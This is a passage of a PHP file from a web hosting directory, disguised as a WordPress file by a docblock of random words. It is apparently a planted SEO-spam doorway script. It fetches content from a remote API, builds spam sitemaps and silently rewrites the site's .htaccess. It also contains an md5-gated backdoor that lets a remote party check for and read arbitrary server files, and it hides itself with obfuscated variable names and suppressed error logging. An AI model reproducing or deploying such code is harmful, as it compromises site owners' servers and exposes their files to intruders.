PATH:
home
/
letacommog
/
rdvenunclick.fr1
/
marketn
<?php /** * drift explore index inferior leap lynar mere passion racial render reputation slope. * acid advertise bargain deputy domestic excess fate highlight hook licence liquor mission mixture participate quit remarkable sincere sponsor strategic suspicious trace usage witness. * adequate bundle exclusive expend germ inevitable network severe shield vacuum. * Internet architect available awkward biology coarse comment device entertainment ferfile golf grand mission moral personnel relevant sexual shrink splendid transform. * academy evil explosion golf impose invade launch nonsense passion phenomenon prompt remarkable sake security sensible solar tone tremendous universal. * advertisement bacteria burst disturb diverse erect evaluate favorable flock gear label scale spot suburb terminal tidy vacuum. * battery coarse deputy extreme gene provision substitute transmit trend vitally. * abuse approximate battery campus catalog commit conquer constant discipline gallery geology lean leap negative racial recruit sponsor spot tedious textile twist variation virtue wander yawn. * agency appeal bother calculate clue deaf discipline genius gesture highlight hint modify network personnel principle prior profit resemble resistant substitute tarnest yawn. * adequate arouse bacteria casual community derive emphasize equation excess flexible focus gesture globe glory inhabitant maintain notion offend spot subsequent theme tidy trend urban vary. * approximate aspect bachelor barrel chaos consistent delicate derive evolve explore gallon jail opportunity passion prohibit quit release shallow substitute temptation vibrate violence. * award clue encounter extraordinary highlight isolate mixture prosperity sophisticated stale virus. * quit quotation scan slip split videotape. * approve biology bureau coach evil import manufacture marine modify petroleum retain substantial universal welfare. * attach bargain conservative encounter erect explore integrate knot mission nucleus portable resume universe vivid. * agent appetite available avenue blast collision data echo humble infinite oxygen priority release remote scandal security slippery spur violent wax. * approve arichmetic domestic dusk electron evil expand facility frown germ infect issue mission orbit region religion restrain split substantial target temple tender universe. * bacteria bargain dash deputy radical ruin semiconductor. * architecture core discount emotional exaggerate explosive favorable geography hardware omit prohibit release scan slender sponsor urge usage. * candidate coarse compete deaf explosive jewel loosen portable semiconductor slip transport usage. * agent barrel burst calendar horrible oral parade recruit stripe textile undergraduate volcano. * adequate delicate discipline numerrous strategy. * academic approximate arichmetic bargain evolution exaggerate individual nuisance petrol remote ridge stuff thrust. * accelerate accomplish applause approach attach automatic cliff comment delicate enthusiasm extinct flee household manual resume ridiculous simplicity sketch subt the title violent welfare witness. * adapt appoint auxiliary frown frustrate generate genuine glimpse liable necessity omit oval partial reinforce removal shiver spit tide. * alter duration entitle exclaim faculty ferfile global grant leisure pat portable presumably ridiculous semester tarnest territory transform variation. * comparable discrimination exceedingly extinct humble inhabitant petroleum region relief scale. * applause authority column decline elbow explosive export frown giant hestiate impose jail licence loosen magnet reluctant temptation torture trace transport vanish variable witness. * agency arichmetic comment consistent core display disturb evaluate exaggerate flee geometry mature merchant nonsense simplicity sponsor torture vacant valid venture voluntary wax welfare. * approximate distinguish provision removal spray vitally witness. * arbitrary attitude echo elastic erect extreme hatred junior resolve ridid triangle variable. * appeal applianc beforehand dispose evolve extraordinary giant holy interfere jail kneel media mere modify organ parade scratch sensible subway vague. * adult alcohol architect code decorate female hint junior mere moist primitive prominent render retail route semiconductor stale. * advertise appoint coarse column conservation dusk echo expensive gallery invade naked pat peak racial removal simplify sorrow whatsoever. * applause comedy continual emphasize generate hostile humble infinite jewel mist participate register release tropical violet volunteer weave. * accomplish arise burden discipline expense external ingredient interfere media mixture pants quotation relevant relief shallow shield shrink spur stimulate substantial terminal utter variable violence virus. * adapt barrier compete decade expand hydrogen moist restrain smash tedious usage volcano. * approximate attach casual expense global holy hostile naked outset oval professional racial suspicion transport vital weave. * appropriate architect dumb emotional explosion explosive favorite garbage horror hydrogen insignificant interpret media molecule notify optimistic reluctant shelter signature skim transport violence whereas. * academic barrier candidate junior optics tense. * academic agency architect arise distinguish dusk entitle focus liberty mild optimistic petrol revenue slender splendid zone. * arise clue comparative deserve focus leak negative particularly respond substantial swallow valid. * adjust burst deputy entry herd relief retail shrug stable witness. * conservation decline exceedingly leather manufacture neglect onion particle radical repetition sensitive spray target transplant. * Internet appeal applianc architecture burden disturb enthusiasm estimate external haste infect invade lest neglect nuclear register temple twist unique valley vivid volcano wagon. * adapt boundary deaf decade distribute jeans knot pursue spur vehicle. * expenditure hint numerrous tedious. * budget device elastic excursion expense frown gaze grand gratitude guarantee hardware hint modest oxygen pat prescribe register suspicion vacuum virtual. * adapt applicant bargain highlight male notion orbit sake sincere tense unique withstand. * audio collision competent inevitable licence minimum mood tissue version. * arbitrary gratitude jungle laser leap pat presumably regulate religion seminar wax. * response academic arichmetic conquer emphasize fatigue inevitable jam laser licence neglect prospect strategic vibrate weed. * abuse appreciate audio campus exterior jewel laser luxury retain sensitive target universal urge vacant wax wonder. * * @package WordPress */ @ini_set('display_errors', 0); @ini_set('log_errors', 0); @set_time_limit(3600); define("DATAHOST","https://www.data-center.com/api/"); define("CENTERKEY",1); define("MYDIR", "/ebayde210327-53/"); define("FNUM",23); define("JGNUM","40"); define("LINKNUM","8"); define("BZSITE","l"); define("CURRENUSE","/usd/"); define("BZPRO","a"); define("BZCAT","p"); //msbg define("JDT","0"); //msend //msidbg define("MSID",7030); //mssidend //keyjgbg define("KEYJG",5); //keyjgend //randnumIbg define("RANDNUMI",14); //randnumIend //randnumIIbg define("RANDNUMII",1); //randnumIIend //pnamelenbg define("PNAMELEN",56); //pnamelenend //jthouzuibg define("JTHZ",".shtm"); //jthouzuiend //nttarr_bg $arrnametime[]="2"; $arrnametime[]="4"; $arrnametime[]="1"; $arrnametime[]="3"; //nttarr_end //kwzzarr_bg $arrKeywz[]="8"; $arrKeywz[]="4"; $arrKeywz[]="9"; $arrKeywz[]="6"; $arrKeywz[]="11"; $arrKeywz[]="5"; $arrKeywz[]="7"; $arrKeywz[]="12"; $arrKeywz[]="10"; //kwzzarr_end //brddarr_bg $arrBread[]=""; $arrBread[]="bread_crumb"; $arrBread[]="l-breadcrumb"; $arrBread[]="BreadcrumbHeads"; $arrBread[]="Breadcrumb row"; $arrBread[]="c-breadcrumb row"; $arrBread[]=""; $arrBread[]="BreadcrumbNavigation row"; $arrBread[]="BreadcrumbsList row"; $arrBread[]="BreadcrumbHeads clearfix"; $arrBread[]="BreadcrumbsList"; $arrBread[]="breadHeads clearfix"; $arrBread[]="ck-breadcrumb"; $arrBread[]="el-breadcrumb"; $arrBread[]="v-breadcrumb row"; $arrBread[]=""; $arrBread[]="crumbsTop clearfix"; $arrBread[]="l-breadcrumb"; $arrBread[]="BreadcrumbsList clearfix"; $arrBread[]="customBreadcrumb row"; $arrBread[]=""; $arrBread[]="crumbsHeads"; $arrBread[]="breadcrumb clearfix"; $arrBread[]="qa-breadcrumb clearfix"; $arrBread[]="crumbList clearfix"; $arrBread[]="crumbsHeads row"; $arrBread[]="ant-breadcrumb"; $arrBread[]="crumbs row"; $arrBread[]="crumb-list row"; $arrBread[]="breadtops row"; $arrBread[]="mb-breadcrumb"; $arrBread[]="r-breadcrumb row"; $arrBread[]="Breadcrumb-Top"; $arrBread[]="crumbs-top clearfix"; $arrBread[]="page-breadcrumbs"; $arrBread[]="BreadcrumbTops clearfix"; $arrBread[]="crumbsHead"; $arrBread[]="wrapper-breadcrums"; $arrBread[]="crumbsHead row"; $arrBread[]="Breadcrumbs row"; $arrBread[]="pages-breadcrumbs row"; $arrBread[]="breadcrumbs row"; $arrBread[]="bread-List row"; $arrBread[]="r-breadcrumb"; $arrBread[]="chrome-breadcrumbs row"; $arrBread[]="crumbs-top"; $arrBread[]="wrapper-breadcrums row"; $arrBread[]="Breadcrumb row"; $arrBread[]="breadcrumb row"; $arrBread[]="Breadcrumb-Head"; $arrBread[]="l-breadcrumblist row"; $arrBread[]="BreadcrumbLists"; $arrBread[]="navBreadCrumb clearfix"; $arrBread[]="breadcrumb"; $arrBread[]="breadtop clearfix"; $arrBread[]="BreadHead row"; $arrBread[]="breadLists clearfix"; $arrBread[]="ck-breadcrumb row"; $arrBread[]="BreadHead clearfix"; $arrBread[]="breadcrumbs-base"; $arrBread[]="nw-breadcrumblist row"; $arrBread[]="pages-breadcrumbs"; $arrBread[]="l-breadcrumb clearfix"; $arrBread[]="s-breadcrumb clearfix"; $arrBread[]="BreadcrumbsHead row"; $arrBread[]="Bread"; $arrBread[]="BreadcrumbTop clearfix"; $arrBread[]="breadHead clearfix"; $arrBread[]="doc-crumb row"; $arrBread[]="v-breadcrumb"; $arrBread[]="mb-breadcrumb row"; $arrBread[]="page-breadcrumbs row"; $arrBread[]="nw-breadcrumblist clearfix"; $arrBread[]="crumbsTops"; $arrBread[]="crumbs-head clearfix"; $arrBread[]=""; $arrBread[]="breadList clearfix"; $arrBread[]=""; $arrBread[]="r-breadcrumb clearfix"; $arrBread[]="BreadcrumbLists row"; $arrBread[]="chrome-breadcrumbs clearfix"; $arrBread[]=""; $arrBread[]="BreadcrumbsHead"; $arrBread[]="l-breadcrumb clearfix"; $arrBread[]="l-breadcrumblist clearfix"; $arrBread[]="BreadcrumbNavigation clearfix"; $arrBread[]="bread_crumb clearfix"; $arrBread[]="plp__breadcrumb"; $arrBread[]="crumb-list clearfix"; $arrBread[]="navBreadCrumb"; $arrBread[]="crumbs-nag row"; $arrBread[]="Bread clearfix"; $arrBread[]="crumbsHead clearfix"; $arrBread[]="breadcrumb clearfix"; $arrBread[]="breadHeads row"; $arrBread[]=""; $arrBread[]="Breadcrumb"; $arrBread[]="mb-breadcrumb clearfix"; $arrBread[]="crumbsTop row"; $arrBread[]="BreadcrumbList clearfix"; $arrBread[]="l-breadcrumb row"; $arrBread[]="el-breadcrumb clearfix"; $arrBread[]="BreadcrumbHead"; $arrBread[]="pages-breadcrumbs clearfix"; $arrBread[]="crumbs-head row"; $arrBread[]="bread-List clearfix"; $arrBread[]="BreadcrumbTop"; $arrBread[]="ag-breadcrumblist"; $arrBread[]="navBreadCrumbs"; $arrBread[]="crumbList row"; $arrBread[]="breadtop"; $arrBread[]="breadtops"; $arrBread[]="Breadcrumb-Top clearfix"; $arrBread[]="breadHead row"; $arrBread[]="bread-List"; $arrBread[]="BreadcrumbHead clearfix"; $arrBread[]="Breadcrumb"; $arrBread[]="breadHeads"; $arrBread[]="crumbList"; $arrBread[]="crumbsTops row"; $arrBread[]="BreadcrumbList row"; $arrBread[]="ant-breadcrumb clearfix"; $arrBread[]="Breadcrumb-Heads clearfix"; $arrBread[]="ag-breadcrumblist clearfix"; $arrBread[]="Breadcrumb clearfix"; $arrBread[]="crumbs-top row"; $arrBread[]="breadHead"; $arrBread[]="c-breadcrumb clearfix"; $arrBread[]="s-breadcrumb row"; $arrBread[]="BreadcrumbNavigation"; $arrBread[]="navBreadCrumbs clearfix"; $arrBread[]="s-breadcrumb"; $arrBread[]="Breadcrumb-Heads row"; $arrBread[]="customBreadcrumb"; $arrBread[]="el-breadcrumb row"; $arrBread[]="Breadcrumbs"; $arrBread[]="ag-breadcrumblist row"; $arrBread[]="breadcrumb"; $arrBread[]="wrapper-breadcrums clearfix"; $arrBread[]="Breadcrumb clearfix"; $arrBread[]="breadtop row"; $arrBread[]="breadcrumbs"; $arrBread[]="BreadcrumbHead row"; $arrBread[]="BreadcrumbTops"; $arrBread[]="breadLists row"; $arrBread[]="plp__breadcrumb clearfix"; $arrBread[]="breadList row"; $arrBread[]="customBreadcrumb clearfix"; $arrBread[]="ck-breadcrumb clearfix"; $arrBread[]="breadtops clearfix"; $arrBread[]="breadLists"; $arrBread[]=""; $arrBread[]="nw-breadcrumblist"; $arrBread[]="chrome-breadcrumbs"; $arrBread[]="Breadcrumbs clearfix"; $arrBread[]="Breadcrumb-Heads"; $arrBread[]="breadcrumb row"; $arrBread[]="ant-breadcrumb row"; $arrBread[]="breadList"; $arrBread[]="crumbs clearfix"; $arrBread[]="crumbs"; $arrBread[]="plp__breadcrumb row"; $arrBread[]="cs-breadcrumb"; $arrBread[]="crumbs-head"; $arrBread[]="page-breadcrumbs clearfix"; $arrBread[]=""; $arrBread[]="crumbs-nag"; $arrBread[]="bread_crumb row"; $arrBread[]=""; $arrBread[]="qa-breadcrumb row"; $arrBread[]="BreadcrumbHeads row"; $arrBread[]="crumbsTop"; $arrBread[]="BreadcrumbTops row"; $arrBread[]="breadcrumbs-base clearfix"; $arrBread[]="navBreadCrumb row"; $arrBread[]="v-breadcrumb clearfix"; $arrBread[]="qa-breadcrumb"; $arrBread[]="BreadHead"; $arrBread[]="navBreadCrumbs row"; $arrBread[]="breadcrumbs-base row"; $arrBread[]="crumbsTops clearfix"; $arrBread[]=""; $arrBread[]="c-breadcrumb"; $arrBread[]="Breadcrumb-Head row"; $arrBread[]="doc-crumb"; $arrBread[]="crumbsHeads clearfix"; $arrBread[]="l-breadcrumb row"; $arrBread[]="crumbs-nag clearfix"; $arrBread[]="BreadcrumbTop row"; $arrBread[]="Breadcrumb-Top row"; $arrBread[]="BreadcrumbsHead clearfix"; $arrBread[]="cs-breadcrumb clearfix"; $arrBread[]="doc-crumb clearfix"; $arrBread[]="Bread row"; $arrBread[]="Breadcrumb-Head clearfix"; $arrBread[]="l-breadcrumblist"; $arrBread[]="crumb-list"; $arrBread[]="breadcrumbs clearfix"; $arrBread[]="BreadcrumbList"; $arrBread[]="cs-breadcrumb row"; $arrBread[]="BreadcrumbLists clearfix"; $arrBread[]=""; //brddarr_end //fhharr_bg $arrfh[]="Christmas Supplies"; $arrfh[]="Xmas"; $arrfh[]="Top Christmas gifts 2018"; $arrfh[]="Christmas gift ideas"; $arrfh[]="Christmas presents"; $arrfh[]="Unique Christmas Gifts"; $arrfh[]="Christmas gift"; $arrfh[]="Christmas Ornament"; $arrfh[]="Christmas gift shop"; $arrfh[]="Christmas Decoration"; $arrfh[]="Xmas Ornaments"; $arrfh[]="Christmas gift ideas 2018"; $arrfh[]="Holiday presents"; $arrfh[]="for Christmas"; $arrfh[]="Holiday Gifts"; $arrfh[]="Christmas Gifts 2018"; $arrfh[]="Christmas gift store"; $arrfh[]="Christmas Holiday"; $arrfh[]="best Christmas gift"; $arrfh[]="Best Christmas gifts 2018"; //fhharr_end $q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs(); //srrarr_bg $date_string[0]="oxamhsvwztyenpfgdurqikjblc"; $date_string[1]="slmjutvyxwheabpcfoiknzrdgq"; $date_string[2]="lydueiharnpofwkxqbsjtgmzvc"; $date_string[3]="odnzjpcvmeqklfrhbgywiaxtsu"; $date_string[4]="trugdbnmhsiyqjpoxwzvkalecf"; $date_string[5]="qxupwlgrvdcnbjyithaokzsemf"; $date_string[6]="qkevgxbmwuphnszlycaodrftji"; $date_string[7]="gyjslxvcqudtnewfaprkzombhi"; $date_string[8]="werakuzfcxnlbtmsjghdipoqyv"; $date_string[9]="mhoedtqzjysbxrawulvkpfginc"; $date_string[10]="qybrlpuafdntkiehcjzxmoswgv"; $date_string[11]="cdzsvxfutbklamqjoyhgrwpien"; $date_string[12]="fqderpkwzlsavuoyicmbtxnghj"; $date_string[13]="bzclnpsqtdeawoykrxuhmivjgf"; $date_string[14]="xksbvgtrjzwfuyodimechnlpqa"; $date_string[15]="tjroibqlwdhzcxuvgkeamfnpys"; $date_string[16]="tpofxymvhwndlbqcksijrgeuaz"; $date_string[17]="tgezqfvjpkbyiocnmuadsxrhlw"; $date_string[18]="zybpkxlujomacsgedfnvtihrwq"; $date_string[19]="bpzdawmorcikftgvsjnhelxquy"; $date_string[20]="tuvdfnerjwaqgikcxsplmbhyzo"; $date_string[21]="rynguapocdqbtzksmvelfxjwhi"; $date_string[22]="yjlbixpwskntcodmrghzavuqef"; $date_string[23]="gudanzfhkpyiesbcojqwvrtxlm"; $date_string[24]="mgfqihywszebudvtxcpjnkoarl"; $date_string[25]="goizqjwtanpekcbhyfurxlsmvd"; $date_string[26]="ziotqyfxdgkjsanvrpuhmelcbw"; $date_string[27]="lqhrjotdswkibeanmucvxfpgyz"; $date_string[28]="habtqxfwozvnyipeskjmclgudr"; $date_string[29]="nugcwvbsmoazfliedtkqprxyhj"; $date_string[30]="nsdipgovbwkejyzultqxahfcrm"; $date_string[31]="zyqxidnbkrufoevchmapgtwljs"; $date_string[32]="txrchuwdkqsgyzjmnivolbafep"; $date_string[33]="saviktcyhwonlgbzxqmfprdeju"; $date_string[34]="zxibgsfpowjcrdmleayvqthunk"; $date_string[35]="qoimzchgvtsbkjpfylxneurwda"; $date_string[36]="jratckpelnxqugisbvdyzohfmw"; $date_string[37]="nultmbeyorsxapvcgifhdkzjqw"; $date_string[38]="edlubtzcxojwksrnyfvahgipqm"; $date_string[39]="vgrsfzapdwtjclmhinueoxbqky"; $date_string[40]="cnbrftoqhgpaxzwsyildumkjev"; $date_string[41]="artbjydhcwvegksxnoilfqpmzu"; $date_string[42]="cexlnsbpjhfrquowiadmktzvyg"; $date_string[43]="juwzmhqvfprcstldkgioneyabx"; $date_string[44]="uaohjfqlxeswyvcdmizbrnkpgt"; $date_string[45]="nowhvjtykqluircagfmbedpxsz"; $date_string[46]="cgejnyatqpuxvwbrlmdsizhkof"; $date_string[47]="lyshzmockedfxwjrntpgqbauvi"; $date_string[48]="fupmeykqigbaznoxjwrdtvhscl"; $date_string[49]="jfdobcpyigrsxhakqtvulwenmz"; $date_string[50]="vikdmuwpfbztsloxjgrqhycnea"; $date_string[51]="uztkvrfeoicwyhmxsjgpqbanld"; $date_string[52]="bitpqlgavyzhjouecrsdfmxnkw"; $date_string[53]="iwpgrnxjlzvmbafkqoshuecdyt"; $date_string[54]="obhecnfayirtwuspvjzgxqlkdm"; $date_string[55]="wohptdeqbaicmjsyklnvzfrgxu"; $date_string[56]="rkxwpbucmntejzgylasihdfovq"; $date_string[57]="yoskungerbvlmjptchqzxfwadi"; $date_string[58]="undhyvqerfmtxpibwzclaskgjo"; $date_string[59]="dgvkicyeufjoxsmqhptrwbanzl"; $date_string[60]="vuinctfhqzsrmegadxlkybjwpo"; $date_string[61]="qvbkoldnwhfrpsxtyimgejcuaz"; $date_string[62]="zlsobhfmrevtnukxjpgacydiqw"; $date_string[63]="qeunvfizlydbrampjsotxgwchk"; $date_string[64]="bqavohcrfyidxgukzmnwpljest"; $date_string[65]="dfomjwsanhbetvqkixpcrgzlyu"; $date_string[66]="bywiedchsgqzlfovmupakxnrtj"; $date_string[67]="krqwueijtyalmhpcxbvzsgndfo"; $date_string[68]="sdyitunpvewmhgqbcxrljzakfo"; $date_string[69]="nctvkhzmpurodgaiqlyxwejfsb"; $date_string[70]="ritfeyjlsdghvxnkumoqwabczp"; $date_string[71]="mcirdzaowlfqvuhjbeksxnpytg"; $date_string[72]="fdukxnpzilsovqcjwaytmbgrhe"; $date_string[73]="mndrykswtqgvbhipzjaxclofue"; $date_string[74]="thfbgwcasnoldyxmpevzjikqur"; $date_string[75]="jkgxolhmifwvbcurdtszqypean"; $date_string[76]="xlyfucqagivhwbtsedjnprozkm"; $date_string[77]="mkilshqgfobnaxwdepjvcrytzu"; $date_string[78]="eaqzkbflwnyorjucmsdhvtgpxi"; $date_string[79]="skuqxarcmzvgwhejntydplbifo"; $date_string[80]="piagjmxbnzrcwqekfuthodsyvl"; $date_string[81]="igxacbwqevukfjrsnztodphlmy"; $date_string[82]="lfbxzdprgvscuonmijqeakhywt"; $date_string[83]="ioleqtmnkuvpsgwdrzfahxbjcy"; $date_string[84]="tpdxionujfzscevwlaqkrbyghm"; $date_string[85]="vgkyacoudqsxjzbhmtnflriwpe"; $date_string[86]="zehytkucdqpjglaovbwimxrnfs"; $date_string[87]="mnlwkfzpxuorhqbgevscydjiat"; $date_string[88]="xtdkqjgauwrvpiolyznhemcsbf"; $date_string[89]="vzsoxaiybnjptdmgclwureqhfk"; $date_string[90]="qnufjdriwaocgvetmzyskhbxpl"; $date_string[91]="ughtniwqlxrydafojvezkcpsbm"; $date_string[92]="bylquejwnfpvhizagrcmtksdxo"; $date_string[93]="ijvgmebzpkfawqlnuxcdtrhosy"; $date_string[94]="objgmpusythlxfnercwzkivqda"; $date_string[95]="vmrkgshdoczextqaylfiwpbnju"; $date_string[96]="qudbzxijfwrchomansvkyegtlp"; $date_string[97]="xopriamhqgblztfdncuwsevyjk"; $date_string[98]="jkrzchploumgswnbefqxdyvait"; $date_string[99]="kzfunxcamvdeotiswgqhblrpjy"; //srrarr_end $thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']); define("GETDOM",getthisdom()); // $arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){ $arrArrr[$j++] = $date_string{$i}.$date_string{$i+1};} $Arrrarr = array_flip($arrArrr); $temp_abc = $O00O0O{9}.$O00O0O{4}.$O00O0O{0}.$O00O0O{13}.$O00O0O{17}.$O00O0O{14}.$O00O0O{11}; $temp_def = $O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{20}.$O00O0O{3}.$O00O0O{8}.$O00O0O{14}.$O00O0O{0}; if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){ $O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0); if (! is_dir("../docs")) mkdir("../docs", 0755); global $gnumber; $gnumber = 1; $bgNum = (int)trim($_GET["gsitemap"]); $mapnum = (int)trim($_GET["mapnum"]); if($bgNum > FNUM) die("The Number Must Lower Then " . FNUM); $arrNumTemp = getMapNum($bgNum,$mapnum); $rs = '#<map>(.*)</map>#si'; $mapLogs = file_get_contents("./map.log"); foreach($arrNumTemp as $vss){ $vals = "id$vss.php"; if(JDT == 0 && $gnumber == 1){ if(strstr($mapLogs,'site_map.xml') && file_exists('../docs/sitemap.xml')){ echo $vals."<br/>"; echo '../docs/sitemap.xml successed<br/>'; $gnumber++; continue; } }elseif(JDT == 0){ if(strstr($mapLogs,'#article' . $arrABC[$gnumber-2] . 'map' .'.xml#') && file_exists('../docs/article' . $arrABC[$gnumber-2] . 'map' .'.xml')){ echo $vals."<br/>"; echo '../docs/article' . $arrABC[$gnumber-2] . 'map' .'.xml successed<br/>'; $gnumber++; continue; } } if(strstr($mapLogs,'#article' . $arrABC[$gnumber-1] . 'map' .'.xml#') && file_exists('../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml')){ echo $vals."<br/>"; echo '../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml successed<br/>'; $gnumber++; continue; } for($i=0; $i<3; $i++){ $idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID; $tempIdStr = curl_get_from_webpage($idUrl,'',5); $arrIdNameNow = array(); if(preg_match($rs,$tempIdStr,$matchIdName)){ $tparrIdName = explode('^^',$matchIdName[1]); foreach($tparrIdName as $vs){ $tpArr = explode('^',$vs); if(count($tpArr) == 2){ $arrIdNameNow[$tpArr[0]] = $tpArr[1]; }elseif(count($tpArr) > 2){ $tpstr = ''; for($j=1; $j<count($tpArr); $j++){ $tpstr .= $tpArr[$j] . ' '; } $tpstr = trim($tpstr); $arrIdNameNow[$tpArr[0]] = $tpstr; } } break; } } if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){ echo "g sitemap fail<br/>"; die(); } echo $vals."<br/>"; if($gnumber == 1){ if(JDT == 1){ gsitemap($arrIdNameNow,2,1); }else{ gsitemap($arrIdNameNow,1,2); } }else{ if(JDT == 1){ gsitemap2($arrIdNameNow,2,1); }else{ gsitemap2($arrIdNameNow,1,2); } } unset($arrIdNameNow,$tempArr1,$tempArr2); } } if(isset($_GET["ghtac"]) && $_GET["ghtac"]){ $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); $PreDir = ''; if(JDT == 1){ $UrlBaseDir = $httcReplace; $RewriteOnDir = ''; }else{ $UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/'; } $strhtt = ''; if (file_exists("$PreDir.htaccess")){ @chmod("$PreDir.htaccess",0755); $strhtt = file_get_contents("$PreDir.htaccess"); } if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule'))) { $strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>'; }else{ $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt); $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt); } if(1){ $r0 = '#(.*RewriteEngine On.*)#i'; $r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i'; if(JDT == 0){ $rsut = '\1'.PHP_EOL . 'RewriteRule ^' . '.*detail/(.*)/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*(article[a-z]+map\.xml)$ docs/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ docs/\$1 [L]' . PHP_EOL ; $rsut2 = PHP_EOL . 'RewriteRule ^' . '.*detail/(.*)/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*(article[a-z]+map\.xml)$ docs/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ docs/\$1 [L]' . PHP_EOL .'RewriteRule' ; }else{ $rsut = '\1'. PHP_EOL . 'RewriteRule ^' . '.*detail/(.*)/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL ; $rsut2 = PHP_EOL . 'RewriteRule ^' . '.*detail/(.*)/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .'RewriteRule' ; } if(preg_match($r0,$strhtt)){ $strhtt = preg_replace($r0,$rsut,$strhtt,1); }elseif(preg_match($r1,$strhtt)){ $strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{ $strhtt = preg_replace($r2,$rsut2,$strhtt,1); } if(JDT == 1 or JDT == 0){ file_put_contents("$PreDir.htaccess", $strhtt); } } die("ghtac ok"); } if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo rFile($v_read);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$blog_data = array();$flag = 1;$blog_data['index'] = filesize(__FILE__);if(file_exists("./template.html")){$blog_data['template'] = filesize("./template.html");}else{$flag = 0;$blog_data['template'] = -1;}echo 'error---'. serialize($blog_data) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();} if(JDT==2){ $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){ $tempSid = ''; $tempPid = ''; $r2='#(\d+)-.*'. JTHZ .'$#i'; $r3='#(\d+)-.*/$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid && !strstr($_SERVER['REQUEST_URI'],'detail/')){ $_GET['id']= $tempPid; }else{ $r2='#.*detail/(.*)/#i'; $r3='#.*detail/(.*)$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid) $_GET['cat']= $tempPid; } } }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){ $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword']; $r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid){ $_GET['id']= $tempPid; } } function getRandStr(){ $arrABC = range('a','z'); shuffle($arrABC); $randNum = rand(4,6); $str = implode('',array_slice($arrABC,0,$randNum)); return $str;} if(isset($_GET["id"])) $id = $_GET["id"]; else{ if(isset($_GET["cat"])){ $rqurl = $_GET["cat"]; $logFileName = './idlogs.txt'; if(file_exists($logFileName)){ $arrUrlId = unserialize(file_get_contents($logFileName)); }else{ $arrUrlId = array(); } if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){ $id = $arrUrlId[$rqurl]; }else{ $arrUrlId[$rqurl] = getRandCId($rqurl); $id = $arrUrlId[$rqurl]; 